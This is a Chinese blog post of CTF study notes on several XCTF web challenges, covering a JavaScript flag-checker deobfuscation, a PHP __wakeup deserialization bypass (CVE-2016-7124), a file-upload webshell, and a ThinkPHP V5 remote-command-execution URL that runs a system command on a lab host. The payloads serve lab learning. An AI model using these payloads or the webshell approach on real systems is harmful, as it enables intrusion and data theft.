好吧,寒假确实摸鱼摸太久了,实在有点颓。按最早的时间安排来说现在这个点应该已经在学校里了,嗐。最近几天也在努力调整自己的拖延症,现在把笔记补一下吧(捂脸
以下题目均来自xctf
NaNNaNNaNNaN-Batman
一堆有乱码的代码:
<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($[Y]))_=join(pop());eval(_)</script>
猜测可能是编码的问题导致了乱码,不过这个一坨屎一样的代码还是可以勉强审计一下:'_'是一个函数,最后又有一个eval来执行它,我们这里就将其改成alert,让其将源代码以正常的形式弹窗反馈,运行html文件,整理后的代码是这样的:
function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o){
document.write(s[o%4][0]);s[o%4].splice(0,1)}}}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
最后审计这段代码,拼接一个字符串即可拿到flag(或者直接将最后一个if后一行的代码复制出来运行即可
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
题目已经提示是反序列化了,但是反序列化后的函数会自动先执行__wakeup()里面的代码,直接退出程序。
这边就要用到一个新的漏洞了 (CVE-2016-7124) : 当成员属性数目大于实际数目时可绕过wakeup方法
这里我们先将xctf函数序列化,得到
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
将成员数1改为2,得到:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
传入即可获得flag
upload1
网安里非常经典的一个文件上传漏洞,不再赘述,这里的核心代码就是一个eval的shell,在上传的时候这里使用的是本地JS代码判断文件后缀,只需要进开发者模式强制把disabled的按钮属性改为enabled就行了,上传shell之后可以开中国菜刀可以手动扒站~~
Web_python_template_injection
python模板注入,有点点难,这个坑先留着
Web_php_unserialize
同上题,留坑
php_rce
ThinkPHP V5的漏洞,网上直接可以找到有关越权指令:
http://111.198.29.45:55483/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag
Comments | NOTHING